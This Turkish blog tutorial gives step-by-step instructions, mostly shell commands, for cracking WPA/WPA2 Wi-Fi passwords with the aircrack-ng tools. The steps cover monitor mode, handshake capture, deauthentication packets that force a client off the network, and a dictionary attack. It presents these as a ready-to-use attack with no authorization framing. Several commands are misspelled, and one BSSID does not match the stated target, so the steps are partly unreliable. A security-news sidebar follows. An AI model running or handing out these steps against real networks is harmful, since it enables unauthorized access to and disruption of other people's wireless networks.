Kablosuz ağların güvenliği ve kırılması ile ilgili bir önceki yazımızda kablosuz ağ şifreleme algoritması olan WEP güvenliğine ve kırılmasına değinmiştik.Bu eğitim videosunu sitemizden online olarak izleyebildiğiniz gibi http://www.4shared.com/file/96X1unbu/wireless-hacking.html adresinden indirebilirsinizde. Şu ana kadar toplamda 2,530 ~ defa indirilmesi ve bu konuda aldığım mailler konunun hassasiyetini ortaya koyuyor : ))
Konunun devamı niteliğinde olan bu yazıda WPA/WPA2 paylaşımlı anahtarını kullanan networklerin nasıl kırılabileceğini uygulamalı olarak bulabilirsiniz.
Bazı terimler ve değerleri ;
Hedef ağa bağlı istemcinin MAC adresi : 00:1E:4C:43:A6:3E
BSSID (Access Point Cihazının MAC Adresi ) : 00:73:07:38:94:C7
ESSID (Kablosuz ağın ismi) : EVEREST
Access point kanal numarası : 11
Kablosuz ağ arabimi : wlan1
Basit haliyle saldırı adımları ;
- Kablosuz ağ arabirimi access pointin yayın yaptığı kanal için monitor moda alınır
- airodump-ng ile access point’in bulunduğu kanalı dinleyip authentication handshake paketlerini yakalamaya başlanır
- Wireless istemcisine aireplay-ng ile deuthentication paketleri göndererek wireless ağdan düşürülüp, tekrar bağlanması sağlanır
- aircrack-ng yazılımı çalıştırılarak authentication handshake paketlerinden paylaşımlı anahtar elde edilmeye çalışılır.
ADIM 1 : Wireless ağ arabirimini monitor moda almak
airmon-ng start wlan1 11
Adım 2 : airdump-ng ile auth. handshake paketlerinin yakalanması
Çevrede yayın yapan kablosuz ağları tespit etmek için ;
airodump-ng –channel 11 –encyrpt wpa wlan1
11. kanalda wpa şifrelemesi ile yayın yapan EVEREST kablosuz ağını dinlemeye alıyoruz ;
airodump-ng –channel 11 –encyrpt wpa –bssid 00:14:6C:7E:40:80 -w lol wlan1
- –channel parametresi ile kanal (channel) numarası belirtilir
- –encyrpt parametresi ile şifreleme algoritması (wpa) belirtilir
- –bssid hedef Access Point’in mac adresi
- -w ile yakalanan paketlerin yazılacağı dosya ismi
Adım 3 : aireplay-ng ile wireless istemcisini kimlikdoğrulamaya zorlamak
Bu işlem opsiyoneldir, isterseniz bir istemcinin kablosuz ağa dahil olup handshake paketlerini yakalamayı bekleyebilirsiniz veya deauth. paketleri gönderip kablosuz ağa bağlı istemciniyi düşürüp tekrar bağlanmasını sağlayabilirsiniz böylelikle zaman kaybetmeden istiyacımız olan handshake paketini yakalamış oluruz. Detaylar burada = http://www.aircrack-ng.org/doku.php?id=deauthentication
aireplay-ng -0 5 -a 00:73:07:38:94:C7 -c 00:1E4C:43:A6:3E wlan1
- -0 deauthentication paketi hazırlar
- 5 toplam paket sayısı
- -a Access point’in mac adresi
- -c İstemcinin mac adresi
- wlan1 kullanılacak ağ arabirimi
Bu adımı gerçekleştirdikden hemen sonra, deauth. saldırısı başarılımı ve handshake yakalamışmıyız bakmak için airodump-ng ekranına geçiş yapabiliriz
Deuthentication ve Authentication paketlerinin detaylarını merak ediyorsanız, bu işlem sırasında wireshark ile paket analizi yapabilirsiniz.
Adım 4: airecrack-ng ile paylaşımlı anahtarın kırılması
Yakaladığımız paketlerden paylaşımlı anahtarı kırmak için geniş bir parola veritabanımız/sözlüğümüz olmalı. Eğer hedef sistemin parolası bizim sözlüğümüzde yoksa parolayı elde etmek bir ömür sürebilir.Bu için bakınız. “parola kırma teknikleri”
airecrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -c lol-o1.cap
- -w wordlist/sözlük/parola veritabanının yolunu belirtir
- -c .cap dosyasının yolunu belirtir
Mutlu son : ))
About the author /
Mustafa Kaya
Hacks – Threatpost
- Verizon’s Visible Wireless Carrier Confirms Credential-Stuffing Attack 14 Ekim 2021Visible says yes, user accounts were hijacked, but it denied a breach. As of today, users are still posting tales of forcibly changed passwords and getting stuck with bills for pricey new iPhones.
- FreakOut Botnet Turns DVRs Into Monero Cryptominers 13 Ekim 2021The new Necro Python exploit targets Visual Tool DVRs used in surveillance systems.
- Microsoft Oct. Patch Tuesday Squashes 4 Zero-Day Bugs 12 Ekim 2021Microsoft's October 2021 Patch Tuesday included security fixes for 74 vulnerabilities, one of which is an actively exploited zero-day.
- Incident Response: 5 Principles to Boost the Infosec/Legal Relationship 11 Ekim 2021Effective cyber-incident response means working well with legal. Matt Dunn, associate managing director for cyber-risk at Kroll, lays out how to do it.
- Navy Warship’s Facebook Page Hacked to Stream ‘Age of Empires’ Gaming 07 Ekim 2021The destroyer-class USS Kidd streamed hours of game play in a funny incident that has serious cybersecurity ramifications.
- Twitch Leak Included Emails, Password: Researcher 07 Ekim 2021A researcher combed through the Twitch leak and found what they said was evidence of PayPal chargebacks with names and emails, employees' emails, and more.
Leave a reply